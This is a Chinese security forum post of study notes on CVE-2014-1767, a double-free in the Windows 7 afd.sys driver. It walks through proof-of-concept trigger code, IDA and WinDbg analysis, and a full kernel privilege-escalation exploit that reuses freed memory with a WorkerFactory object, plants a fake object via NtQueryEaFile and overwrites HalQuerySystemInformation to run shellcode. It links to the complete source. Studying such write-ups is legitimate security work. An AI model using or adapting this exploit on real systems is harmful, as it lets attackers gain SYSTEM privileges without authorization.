首页
社区
课程
招聘
[原创]CVE-2014-1767提权漏洞学习笔记
2022-7-30 17:19 13988

[原创]CVE-2014-1767提权漏洞学习笔记

2022-7-30 17:19
13988

一.前言

1.漏洞描述

afd.sys驱动用于支持Win Socket应用程序。由于afd!AfdReturnTpInfo函数调用IoFreeMdl函数释放MDL内存的时候,没有及时将指针清空,导致再次调用的时候会再次释放相同的内存地址,导致双重释放的错误。通过WorkerFatory对象占有释放的内存,利用相关的函数可以实现一次任意地址写入,实现修改关键函数来实现提权。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg

二.漏洞分析

1.POC代码分析

以下是该漏洞的POC代码:

void POC_CVE_2014_1767()
{
	WSADATA WSAData;
	SOCKET s;
	SOCKADDR_IN sa;
	int ierr;

	// 初始化通信的设备句柄
	WSAStartup(0x2, &WSAData);
	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	memset(&sa, 0, sizeof(sa));
	sa.sin_port = htons(135);
	sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	sa.sin_family = AF_INET;
	ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));

	char outBuf[100];
	DWORD bytesRet;
	
	DWORD targetSize = 0x310;
	DWORD virtualAddress = 0x13371337;
	DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF - (virtualAddress & 0xFFF);
	DWORD inbuf1[100];

	memset(inbuf1, 0, sizeof(inbuf1));
	inbuf1[6] = virtualAddress;
	inbuf1[7] = mdlSize;
	inbuf1[10] = 1;

	// 第一次通信
	DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);

	DWORD inbuf2[100];
	memset(inbuf2, 0, sizeof(inbuf2));
	inbuf2[0] = 1;
	inbuf2[1] = 0x0AAAAAAA;
	// 第二次通信
	DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
}

触发漏洞的关键就是两次调用DeviceIoControl函数来实现用户层和内核层的I/O通信,函数定义如下,其中第二个参数为控制码,第三个参数为传入内核从的输入数据,这两个参数也是触发此次漏洞的关键。

BOOL WINAPI DeviceIoControl(HANDLE hDevice,
                            DWORD dwIoControlCode,
                            LPVOID lpInBuffer,
                            DWORD nInBufferSize,
                            LPVOID lpOutBuffer,
                            DWORD nOutBufferSize,
                            LPDWORD lpBytesReturned,
                            LPOVERLAPPED lpOverlapped);

2.静态调试

对于每一个驱动,在内核中都会有一个对应的DRIVER_OBJECT对象,该结构体定义如下:

#define IRP_MJ_MAXIMUM_FUNCTION         0x1b

typedef struct _DRIVER_OBJECT {
    CSHORT Type;
    CSHORT Size;
    PDEVICE_OBJECT DeviceObject;
    ULONG Flags;
    PVOID DriverStart;
    ULONG DriverSize;
    PVOID DriverSection;
    PDRIVER_EXTENSION DriverExtension;
    UNICODE_STRING DriverName;
    PUNICODE_STRING HardwareDatabase;
    PFAST_IO_DISPATCH FastIoDispatch;
    PDRIVER_INITIALIZE DriverInit;
    PDRIVER_STARTIO DriverStartIo;
    PDRIVER_UNLOAD DriverUnload;
    PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;

其中最后一个成员MajorFunction数组保存了不同的派遣函数用于处理用户层的通信要求,其中与调用DeviceIoControl进行通信对应的派遣函数保存于MajorFunction数组的0xE下标中。

#define IRP_MJ_DEVICE_CONTROL           0x0e

从afd.sys的DriverEntry函数中可以看到驱动创建了"\\Device\\Afd"设备对象:

将MajorFunction数组下标0xE的派遣函数赋值为AfdDispatchDeviceControl函数,所以POC调用DeviceIoControl进行和内核进行通信的时候,就会调用该函数。

用户层和内核层之间的信息传递通过IRP结构体实现,该结构体定义如下:

kd> dt _IRP
nt!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 MdlAddress       : Ptr32 _MDL
   +0x008 Flags            : Uint4B
   +0x00c AssociatedIrp    : <unnamed-tag>
   +0x010 ThreadListEntry  : _LIST_ENTRY
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : Char
   +0x021 PendingReturned  : UChar
   +0x022 StackCount       : Char
   +0x023 CurrentLocation  : Char
   +0x024 Cancel           : UChar
   +0x025 CancelIrql       : UChar
   +0x026 ApcEnvironment   : Char
   +0x027 AllocationFlags  : UChar
   +0x028 UserIosb         : Ptr32 _IO_STATUS_BLOCK
   +0x02c UserEvent        : Ptr32 _KEVENT
   +0x030 Overlay          : <unnamed-tag>
   +0x038 CancelRoutine    : Ptr32     void 
   +0x03c UserBuffer       : Ptr32 Void
   +0x040 Tail             : <unnamed-tag>
      +0x000 Overlay          : <unnamed-tag>
         +0x000 DriverContext    : [4] Ptr32 Void
         +0x010 Thread           : Ptr32 _ETHREAD
         +0x014 AuxiliaryBuffer  : Ptr32 Char
         +0x018 ListEntry        : _LIST_ENTRY
         +0x020 CurrentStackLocation : Ptr32 _IO_STACK_LOCATION
         +0x020 PacketType       : Uint4B
         +0x024 OriginalFileObject : Ptr32 _FILE_OBJECT

偏移0x60指向_IO_STACK_LOCATION结构体,该结构体定义如下:

kd> dt _IO_STACK_LOCATION -r
nt!_IO_STACK_LOCATION
   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x004 Parameters       : <unnamed-tag>
      +0x000 DeviceIoControl  : <unnamed-tag>
         +0x000 OutputBufferLength : Uint4B
         +0x004 InputBufferLength : Uint4B
         +0x008 IoControlCode    : Uint4B
         +0x00c Type3InputBuffer : Ptr32 Void
   +0x014 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x018 FileObject       : Ptr32 _FILE_OBJECT
   +0x01c CompletionRoutine : Ptr32     long 
   +0x020 Context          : Ptr32 Void

其中偏移0x8的InputBufferLength为调用DeviceIoControl函数时指定的输入数据的长度,偏移0xC为指定的dwIoControlCode,偏移0x10保存的是输入数据的指针。AfdDispatchDeviceIoControl函数的实现如下,可以很容易看出,该函数通过IoControlCode来计算一个下标,从AfdIoctlTable中取出该下标对应的数值来和IoControlCode进行验证,通过验证后,从AfdIrpCallDispatch数值中取出要执行的函数,在调用取出的函数。

AfdIoctlTable保存了不同的IoControlCode,其中可以发现POC中使用的两个控制码:

AfdIrpCallDispatch中保存了不同的执行函数,根据POC使用的控制码对应在AfdIoctlTable中的下标可以知道两次通信会分别调用AfdTransmitFile和AfdTransmitPackets函数:

这两个函数的定义如下:

NTSTATUS __fastcall AfdTransmitFile(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)
NTSTATUS __fastcall AfdTransmitPackets(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)

根据定义可以知道,这两个函数的调用约定是__fastcall,且都有两个参数,所以上面IDA反编译的结果在调用函数部分是有错误的,这里可以直接通过看汇编代码来看相应的参数传递,这里需要记一下,IoControlCode保存在edi中,要调用的函数保存在esi中,这个后面动态调试要用。


要触发漏洞,AfdTransmitFile需要绕过三处验证,第一处和调用DeviceIoControl时第一个参数,即要通信的设备有关,当它为Socket套接字就可以绕过,第二处和第三处就是和输入数据和输入长度有关:

通过验证以后就会调用AfdTliGetIpInfo来申请tpInfo:

tpInfo通过ExAllocateFromNPagedLookasideList来申请内存,其中偏移0x20处保存了通过ExAllocatePoolWithQuotaTag申请的tpInfoElement类型的数组,这里可以看出每个成员大小为0x18,参数指定了数组元素个数,这里为3:

ExAllocateFromNPagedLookasideList的实现如下,可以看出是通过链表的方式实现,所以申请的tpInfo很有可能是上一次释放时候所指的内存:

AfdTransmitFile申请完tpInfo内存之后,会从输入数据中取出地址和长度,然后调用IoAllocateMdl申请MDL内存,保存在tpInfoElement偏移0xC处,之后会调用函数MmProbeAndLockPages:

在POC中,由输入数据指定的地址和长度是不合法的,这就会导致MnProbeAndLockPages调用出现错误,从而导致AfdReturnTpInfo函数的调用:


AfdReturnTpInfo函数会调用IoFreeMdl来释放保存在tpInfoElement偏移0xC处的MDL内存。然而这里释放之后没有及时清空指针,而tpInfo在释放之后会挂回原来的链表中,此时如果可以再次申请tpInfo就会申请到同一块内存,其中保存的数据是原来的数据,如果有办法再次申请tpInfo,且对其进行初始化之前就再次进入AfdReturnTpInfo就可以释放相同的MDL内存造成双重释放:

POC是通过AfdTransmitPackets来造成第二次释放,函数前面的部分和之前差不多,也是进行几个验证:

验证通过就会使用输入数据偏移0x4处保存的数值作为参数调用AfdTliGetTpInfp:

在POC中第二次调用时候这个参数被指定为0x0AAAAAAA,因此,当AfdTliGetTpInfo申请数组的时候,会因为需要申请的内存过大(0x18 * 0x0AAAAAAA)导致错误,调用AfdReturnToInfo。而此时的tpInfo已经从链表中成功取出上一次挂入链表的内存,且相关成员没有被初始化,这个时候在AfdReturnTpInfo中释放MDL内存的时候就会释放同一块内存。

3.动态调试

以下是在WinDbg中,afd.sys驱动的信息,其中相关的信息和前面静态分析的结果一样:

kd> lmDvmafd
Browse full module list
start    end        module name
924f1000 9254b000   afd        (deferred)             
    Image path: \SystemRoot\system32\drivers\afd.sys
    Image name: afd.sys
    Browse all global symbols  functions  data
    Timestamp:        Sat Nov 20 16:40:00 2010 (4CE78960)
    CheckSum:         00054E9B
    ImageSize:        0005A000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
kd> !drvobj afd 2
Driver object (86f16770) is for:
 \Driver\AFD

DriverEntry:   9253563d	afd!GsDriverEntry
DriverStartIo: 00000000	
DriverUnload:  9250a5b6	afd!AfdUnload
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      92514190	afd!AfdDispatch
[01] IRP_MJ_CREATE_NAMED_PIPE           92514190	afd!AfdDispatch
[02] IRP_MJ_CLOSE                       92514190	afd!AfdDispatch
[03] IRP_MJ_READ                        92514190	afd!AfdDispatch
[04] IRP_MJ_WRITE                       92514190	afd!AfdDispatch
[05] IRP_MJ_QUERY_INFORMATION           92514190	afd!AfdDispatch
[06] IRP_MJ_SET_INFORMATION             92514190	afd!AfdDispatch
[07] IRP_MJ_QUERY_EA                    92514190	afd!AfdDispatch
[08] IRP_MJ_SET_EA                      92514190	afd!AfdDispatch
[09] IRP_MJ_FLUSH_BUFFERS               92514190	afd!AfdDispatch
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    92514190	afd!AfdDispatch
[0b] IRP_MJ_SET_VOLUME_INFORMATION      92514190	afd!AfdDispatch
[0c] IRP_MJ_DIRECTORY_CONTROL           92514190	afd!AfdDispatch
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         92514190	afd!AfdDispatch
[0e] IRP_MJ_DEVICE_CONTROL              92512281	afd!AfdDispatchDeviceControl
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     924f2831	afd!AfdWskDispatchInternalDeviceControl
[10] IRP_MJ_SHUTDOWN                    92514190	afd!AfdDispatch
[11] IRP_MJ_LOCK_CONTROL                92514190	afd!AfdDispatch
[12] IRP_MJ_CLEANUP                     92514190	afd!AfdDispatch
[13] IRP_MJ_CREATE_MAILSLOT             92514190	afd!AfdDispatch
[14] IRP_MJ_QUERY_SECURITY              92514190	afd!AfdDispatch
[15] IRP_MJ_SET_SECURITY                92514190	afd!AfdDispatch
[16] IRP_MJ_POWER                       92514190	afd!AfdDispatch
[17] IRP_MJ_SYSTEM_CONTROL              92510834	afd!AfdEtwDispatch
[18] IRP_MJ_DEVICE_CHANGE               92514190	afd!AfdDispatch
[19] IRP_MJ_QUERY_QUOTA                 92514190	afd!AfdDispatch
[1a] IRP_MJ_SET_QUOTA                   92514190	afd!AfdDispatch
[1b] IRP_MJ_PNP                         92514190	afd!AfdDispatch

Fast I/O routines:
FastIoRead                              9250a288	afd!AfdFastIoRead
FastIoWrite                             9250a372	afd!AfdFastIoWrite
FastIoUnlockAll                         9250ea3e	afd!AfdSanFastUnlockAll
FastIoDeviceControl                     92503005	afd!AfdFastIoDeviceControl

接下来在AfdDispatchDeviceControl中的call esi处下条件断点来查看第一次通信的执行情况,编译运行POC就可以看到,此时esi保存是AfdTransmitFile函数地址,在AfdTransmit中调用IoAllocateMdl来申请MDL内存处下断点,可以看到此时要申请的内存为输入数据偏移0x18指定的地址:

继续向下运行会因为对不合法地址MnProbeAndLockPages而产生异常,进而执行IoFreeMdl,此时释放的MDL内存地址为0x87C55150:

继续上面步骤,可以看到第二次通信要执行的是AfdTransmitPackets函数,当执行ExAllocatePoolWithQuotaTag的时候,因为要申请的内存过大导致异常产生,进而执行IoFreeMdl来释放内存,而此时要释放的内存地址还是0x87C55150这个在上面刚被释放的内存,这就会导致双重释放产生BSOD错误:

继续运行系统就会出现蓝屏,以下是部分错误信息:

kd> !analyze -v
Connected to Windows 7 7601 x86 compatible target at (Wed Jul 27 11:26:29.882 2022 (UTC + 8:00)), ptr64 FALSE

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 00001097, Pool tag value from the pool header
Arg3: 08bd0019, Contents of the first 4 bytes of the pool header
Arg4: 87C55150, Address of the block of pool being deallocated

PROCESS_NAME:  exp.exe

STACK_TEXT:  
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x1c
nt!KeBugCheck2+0x68b
nt!ExFreePoolWithTag+0x1b1
nt!IoFreeMdl+0x70
afd!AfdReturnTpInfo+0xad
afd!AfdTliGetTpInfo+0x89
afd!AfdTransmitPackets+0x12e
afd!AfdDispatchDeviceControl+0x3b
nt!IofCallDriver+0x63
nt!IopSynchronousServiceTail+0x1f8
nt!IopXxxControlFile+0x6aa
nt!NtDeviceIoControlFile+0x2a
nt!KiFastCallEntry+0x12a
ntdll!KiFastSystemCallRet
ntdll!ZwDeviceIoControlFile+0xc
KERNELBASE!DeviceIoControl+0xf6
kernel32!DeviceIoControlImplementation+0x80
exp!main+0x117 [d:\vs2017\project\exp\exp\exp.cpp @ 59]

以下是要释放的内存情况,可以看到要释放的这个内存处于Free状态:

三.漏洞利用

1.利用思路

要利用该漏洞,需要用到WokerFactory对象,该对象可以通过以下函数创建,WorkerFactory占0x78大小的内存,在加上0x8大小的_POOL_HEADER和对象头,共会占有0xA0字节:

typedef NTSTATUS(NTAPI *lpfnNtCreateWorkerFactory)(PHANDLE WorkerFactoryHandleReturn,
						   ACCESS_MASK DesiredAccess,
						   POBJECT_ATTRIBUTES ObjectAttributes,
						   HANDLE CompletionPortHandle,
						   HANDLE WorkerProcessHandle,
						   PVOID StartRoutine,
						   PVOID StartParameter,
						   ULONG MaxThreadCount,
						   SIZE_T StackReserve,
						   SIZE_T StackCommit);

对于WorkerFactory对象,可以调用NtSetInformationWorkerFactory,该函数定义如下:

typedef NTSTATUS(NTAPI *lpfnNtSetInformationWorkerFactory)(HANDLE WorkerFactoryHandle,
							   LONG WorkerFactoryInformationClass,
						           PVOID WorkerFactoryInformation,
							   ULONG WorkerFactoryInformationLength);

该函数从第三个参数中获取要写入的值,调用ObReferenceObjectByHandle获取传入的WorkerFactoryHandle句柄对应的WorkerFactory对象,并执行最后的写入操作:

成功利用该漏洞还需要NtQueryEaFile函数,该函数定义如下:

NTSTATUS __stdcall NtQueryEaFile(HANDLE FileHandle, 
                                 PIO_STATUS_BLOCK IoStatusBlock, 
                                 PVOID Buffer, 
                                 ULONG Length, 
                                 BOOLEAN ReturnSingleEntry, 
                                 PVOID EaList, 
                                 ULONG EaListLength, 
                                 PULONG EaIndex, 
                                 BOOLEAN RestartScan);

该函数会调用调用ExAllocatePoolWithQuotaTag来申请EaListLength + 4大小的非分页内存,并将EaList指向的内存区域中的值拷贝到申请的内存区域中:

IoAllocateMdl函数申请内存的时候,要申请的内存大小由参数VirtualAddress和Length决定,所以可以通过这两个参数来决定要申请的内存大小,也就是控制触发漏洞时申请的MDL的大小:

综上可以得到以下结论:

  • 通过控制参数可以控制触发漏洞时申请的MDL内存大小

  • NtCreateWokerFactory可以创建共占0xA0大小的WorkerFactory对象,且通过NtSetInformationWorkerFactory可以进行写入操作

  • NtQueryEaFile会申请一块可以指定大小的内存,并会向申请的内存中拷贝指定的内容

所以整个漏洞利用的步骤如下:

  1. 通过控制参数,让第一次调用DeviceIoControl进行通信时,申请并释放的MDL内存大小为0xA0

  2. 调用NtCreateWorkerFactory创建0xA0大小的WorkerFactory对象,该对象会占有上一步释放的MDL内存

  3. 调用DeviceIoControl进行第二次通信,释放掉上一步创建的WorkerFactory对象

  4. 伪造一个WorkerFactory对象,其中要对对象的起始4字节进行修改,这样可以让调用NtSetInformationWorkerFactory执行写入操作时,可以修改HalQuerySystemInformation

  5. 调用NtQueryEaFile函数,将EalistLength指定为0xA0 - 4,这样函数内部调用ExAllocateWithQuotaTag申请内存时,会申请0xA0大小的内存,就会占有第三步释放的WorkerFactory对象的内存。将EaList参数指定为伪造的WorkerFactory,这样NtQueryEaFile在调用memcpy进行内存拷贝的时候,就会将伪造的WorkerFactory对象赋拷贝到申请的内存中,即第三步释放的WorkerFactory对象占有的内存中

  6. 调用NtSetInformationWorkerFactory,将第三个参数指向ShellCode,这样NtSetInformationWorkerFactory在进行写入操作时候,会将ShellCode地址写入到想要的地址

  7. 调用目标函数实现提权

2.具体实现

要实现提权,首先需要获取套接字,并对通信时使用的输入数据,需要调用的函数等进行初始化:

SOCKET GetSocket()
{
	BOOL bRet = TRUE;
	WSADATA WSAData;
	SOCKET s = INVALID_SOCKET;
	SOCKADDR_IN sa;
	int ierr;

	if (WSAStartup(0x2, &WSAData) != 0)
	{
		ShowError("WSAStartup", WSAGetLastError());
		goto exit;
	}

	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (s == INVALID_SOCKET)
	{
		ShowError("socket", WSAGetLastError());
		goto exit;
	}

	memset(&sa, 0, sizeof(sa));
	sa.sin_port = htons(135);
	sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	sa.sin_family = AF_INET;
	ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
	if (ierr == SOCKET_ERROR)
	{
		ShowError("connect", WSAGetLastError());
		goto exit;
	}

exit:
	return s;
}

BOOL Init_CVE_2014_1767()
{
	BOOL bRet = TRUE;
	HMODULE hDll = NULL;

	// 加载要调用的函数
	hDll = LoadLibrary("ntdll.dll");
	if (!hDll)
	{
		ShowError("LoadLibrary", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	fnNtCreateWorkerFactory = (lpfnNtCreateWorkerFactory)GetProcAddress(hDll, "ZwCreateWorkerFactory");
	fnNtQueryEaFile = (lpfnNtQueryEaFile)GetProcAddress(hDll, "ZwQueryEaFile");
	fnNtSetInformationWorkerFactory = (lpfnNtSetInformationWorkerFactory)GetProcAddress(hDll, "ZwSetInformationWorkerFactory");
	if (!fnNtCreateWorkerFactory || !fnNtQueryEaFile || !fnNtSetInformationWorkerFactory)
	{
		ShowError("GetProcAddress", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 初始化两次通信用到的输入数据
	DWORD virtualAddress = 0x13371337;
	DWORD length = ((FakeObjSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;

	memset(inputBuf1, 0, INPUT_SIZE * sizeof(DWORD));
	inputBuf1[6] = virtualAddress;
	inputBuf1[7] = length;
	inputBuf1[0xA] = 1;

	memset(inputBuf2, 0, INPUT_SIZE * sizeof(DWORD));
	inputBuf2[0] = 1;
	inputBuf2[1] = 0x0AAAAAAA;

	// 构造WorkerFactory的头部分
	memset(FakeWorkerFactory, 0, FakeObjSize);
	memcpy(FakeWorkerFactory, ObjHead, 0x28);

	// 用于创建WorkerFactory
	hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
	if (!hCompletionPort)
	{
		ShowError("CreateIoCompletionPort", GetLastError());
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

接下来就是执行上面的利用步骤来实现提权:

BOOL Trigger_CVE_2014_1767(HANDLE hDevice)
{
	BOOL bRet = TRUE;

	PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();

	if (!pHalQuerySystemInformation)
	{
		bRet = FALSE;
		goto exit;
	}

	// 第一次通信,释放内存
	DeviceIoControl(hDevice, 0x1207F, inputBuf1, 0x30, NULL, 0, NULL, NULL);

	// 创建WorkerFactory对象占有释放的内存
	NTSTATUS status = fnNtCreateWorkerFactory(&hWorkerFactory, 
											  GENERIC_ALL,
		                                      NULL, 
		                                      hCompletionPort,
		                                      (HANDLE)-1,
		                                      NULL, NULL, 0, 0, 0);
	if (!NT_SUCCESS(status))
	{
		ShowError("fnNtCreateWorkerFactory", status);
		bRet = FALSE;
		goto exit;
	}

	// 第二次通信释放WorkerFactory对象占有的内存
	DeviceIoControl(hDevice, 0x120C3, inputBuf2, 0x10, NULL, 0, NULL, NULL);

	BYTE bBuf[0x14] = { 0 };

	// *Object = bBuf
	*(PDWORD)((ULONG)FakeWorkerFactory + 0x28) = (DWORD)bBuf;
	// *(PDWORD)(*Object + 0x10) = pHalQuerySystemInformation - 0x1C
	*(PDWORD)(bBuf + 0x10) = (DWORD)pHalQuerySystemInformation - 0x1C;

	IO_STATUS_BLOCK IoStatus;
	
	// 调用函数将构造的FakeWorkerFactory复制到释放的WorkerFactory对象占有的内存
	fnNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize - 0x4, NULL, FALSE);

	// 调用函数让*(_DWORD *)(*(_DWORD *)(*Object + 0x10) + 0x1C) = value执行
	PVOID pTarget = ShellCode;
	fnNtSetInformationWorkerFactory(hWorkerFactory, 8, &pTarget, sizeof(PVOID));

	// 调用函数实现提权
	if (!CallNtQueryIntervalProfile())
	{
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

四.运行结果

相关代码在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2014-1767.cpp。编译运行即可成功提权:

五.参考资料


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-8-6 10:39 被1900编辑 ,原因:
收藏
点赞3
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/09/27 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回